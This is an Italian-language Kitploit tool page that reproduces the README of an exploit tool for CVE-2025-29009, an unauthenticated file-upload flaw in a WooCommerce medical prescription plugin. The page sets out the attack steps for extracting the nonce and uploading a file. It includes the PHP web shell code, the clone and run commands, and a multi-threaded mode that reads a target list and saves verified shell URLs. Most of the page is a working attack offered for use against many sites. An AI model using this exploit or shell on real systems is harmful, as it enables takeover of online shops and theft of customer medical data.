Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-29009 — WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 è vulnerabile a un Caricamento Arbitrario di File ad alta priorità. | Kitploit
Strumenti/GitHubGitHub/nxploited/cve-2025-29009
Generazione di PayloadAnalisi delle VulnerabilitàExploitShellcodeSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubnxploited/cve-2025-29009

CVE-2025-29009

WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 è vulnerabile a un Caricamento Arbitrario di File ad alta priorità.

Vedi Repository
1114 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-29009

Il plugin WordPress Medical Prescription Attachment per WooCommerce <= 1.2.3 è vulnerabile a un caricamento arbitrario di file ad alta priorità.

CVE-2025-29009

Webkul Medical Prescription Attachment — Caricamento di file senza restrizioni → Web Shell

root@kitploit:~
,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'     ,-.   ,-.   ,-.   ,-.   ,-.
/    |  /  |           ) /  /\    ) |           ) (   ) /  /\ /  /\ (   )
|    | /   |-   ---   /  | / |   /  `-.  ---   /   `-'| | / | | / |  `-'|
\    |/    |         /   \/  /  /      )      /       / \/  / \/  /     /
 `-' '     `--'     '--'  `-'  '--' `-'      '--'  `-'   `-'   `-'   `-'

CVE Plugin Auth

Python
Author

❶ Vulnerabilità

CampoDettaglio
CVECVE-2025-29009
PluginWebkul Medical Prescription Attachment Plugin for WooCommerce
Versione affettaTutte le versioni ≤ 1.2.3
AutenticazioneNon richiesta
TipoUnrestricted Upload of File with Dangerous Type → Web Shell Upload
CWECWE-434 · Unrestricted Upload of File with Dangerous Type

Causa principale:
Il gestore AJAX wkwcpa_handle_prescription_session (action=wkwcpa_handle_prescription_session) accetta caricamenti di file tramite wkwc_pa_prescription_attachment[] senza validare l'estensione del file o il tipo MIME lato server. Un attaccante non autenticato può estrarre il ajaxNonce dal frontend pubblico del negozio WooCommerce (incorporato nell'oggetto JavaScript wkwcpaFrontObj), quindi caricare una web shell PHP direttamente nella directory di upload del server. La risposta restituisce l'URL completo e accessibile del file caricato.


❷ Flusso dell'attacco

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  1. Risolvi la pagina principale                              │
│     GET /  →  GET /shop/  →  GET /product/  →  GET /?wkwcpa=1│
│                                                              │
│  2. Estrai il nonce                                           │
│     Analizza wkwcpaFrontObj.ajax.ajaxUrl                      │
│     Analizza wkwcpaFrontObj.ajax.ajaxNonce                    │
│                                                              │
│  3. Carica la shell                                           │
│     POST <ajaxUrl>                                           │
│       action = wkwcpa_handle_prescription_session            │
│       nonce  = <ajaxNonce>                                   │
│       type   = upload                                        │
│       wkwc_pa_prescription_attachment[] = shell.php          │
│                                                              │
│  4. Analizza la risposta                                      │
│     JSON → data.attachments_img_html[].src  →  shell URL    │
│                                                              │
│  5. Verifica la shell                                         │
│     GET <shell_url>  →  controlla la firma unica             │
│                                                              │
│  6. Salva in shells.txt                                      │
└──────────────────────────────────────────────────────────────┘

❸ Configurazione

root@kitploit:~
git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

❹ Preparazione della shell

Crea la tua shell PHP e incorpora una stringa di firma unica in modo che lo strumento possa verificare l'esecuzione riuscita:

root@kitploit:~
<?php
// NxploitedShellOK
system($_GET['cmd']);
?>

Salva come shell.php nella stessa directory dello script.
La stringa NxploitedShellOK è la firma — deve apparire nella risposta della shell affinché la verifica abbia successo.


❺ Utilizzo

root@kitploit:~
python3 CVE-2025-29009.py

Richieste

root@kitploit:~
File dei target (default list.txt):              list.txt
Thread (default 10):                         10
Nome file shell locale (es. shell.php):        shell.php
Firma shell unica (es. NxploitedShellOK): NxploitedShellOK

Formato target — list.txt

root@kitploit:~
https://target1.com
target2.com
http://target3.com

I target senza http:// o https:// vengono automaticamente prefissati con http://.


❻ Output

FileContenuto
shells.txtUn URL di shell verificato per riga

Terminale:

root@kitploit:~
[SHELL]  https://target.com/wp-content/uploads/2025/06/shell.php
[FAIL]   https://target2.com  (nonce_not_found)
[FAIL]   https://target3.com  (success_false)
[Status] 3/3  OK:1  FAIL:2

❼ Codici di errore

CodiceSignificato
shell_file_missingshell.php non trovato nella directory di lavoro
no_front_pageNessuna pagina candidata ha restituito HTTP 200
nonce_not_foundwkwcpaFrontObj non presente su nessuna pagina
upload_errorErrore di rete durante il POST
json_parse_errorLa risposta non è un JSON valido
success_falseIl server ha restituito data.success = false
no_attachmentsCaricamento riuscito ma nessun URL nella risposta
shell_url_not_foundImpossibile analizzare l'URL del file dall'HTML della risposta

❽ Autore

root@kitploit:~
Nxploited
GitHub   →  https://github.com/Nxploited
Telegram →  @KNxploited

GitHub Telegram


⾩ Disclaimer

root@kitploit:~
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.

The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.

Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.

© 2025 Nxploited · Medical Prescription Attachment ≤ 1.2.3 · Risolto in 1.2.4

Scarica lo strumento